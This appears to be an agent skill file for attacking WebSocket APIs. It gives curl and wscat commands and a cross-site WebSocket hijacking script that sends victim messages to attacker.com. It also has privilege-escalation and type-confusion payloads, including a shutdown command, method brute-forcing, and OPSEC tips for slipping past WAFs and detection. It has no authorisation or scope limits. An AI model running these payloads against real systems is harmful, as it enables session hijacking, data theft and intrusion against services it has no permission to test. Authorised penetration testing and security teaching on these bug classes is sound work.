| name | api-websocket |
| description | WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"websocket ws wss cswsh cross-site websocket hijacking origin socket.io stomp graphql-ws sse upgrade","subdomain":"api","tags":"websocket, cswsh, origin-validation","mitre_attack":"T1190, T1185"} |
WebSocket Attack Surface
Detect
Look for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).
curl -sk -i \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://target" \
https://target/ws
Top 5 bug classes
1. Cross-Site WebSocket Hijacking (CSWSH)
Server doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>
Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.
2. Missing per-message authorization
Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:
wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"}
3. Message-type confusion
Server dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:
{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}}
4. WS → wss downgrade
If the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.
5. Hidden RPC routes
WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:
wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
Tooling
npm install -g wscat
websocat wss://target/ws
python3 -c '
import websocket, json
ws = websocket.create_connection("wss://target/ws", header=["Origin: https://target", "Cookie: session=..."])
ws.send(json.dumps({"op":"users.list"}))
print(ws.recv())
ws.close()
'
Protocol-specific tips
Socket.IO
Multiple "engine" levels: long-polling fallback, sticky sessions. Hit /socket.io/?EIO=4&transport=polling first.
STOMP over WebSocket
CONNECT → SEND → SUBSCRIBE text frames. SUBSCRIBE /topic/admin often missing authz.
GraphQL-WS / graphql-transport-ws
connection_init payload often carries auth. Server may accept reconnections without re-authing — replay attack.
SignalR
Negotiate URL /hub/negotiate. Token in negotiate is reusable for the WS upgrade.
OPSEC
- WebSocket sessions are long-lived — server-side detection is per-frame. Burst-write 1000 messages, observe quench/error rate.
- WAFs often DON'T inspect WS frames. Once inside a WS, you can move freely vs HTTP.
- Browser DevTools "Frames" tab makes CSWSH PoCs trivially reproducible — capture-and-replay flow.
References
- PortSwigger Academy "WebSocket attacks" track
- OWASP WebSocket testing guide
- "Cross-Site WebSocket Hijacking" — Christian Schneider (original 2013 writeup)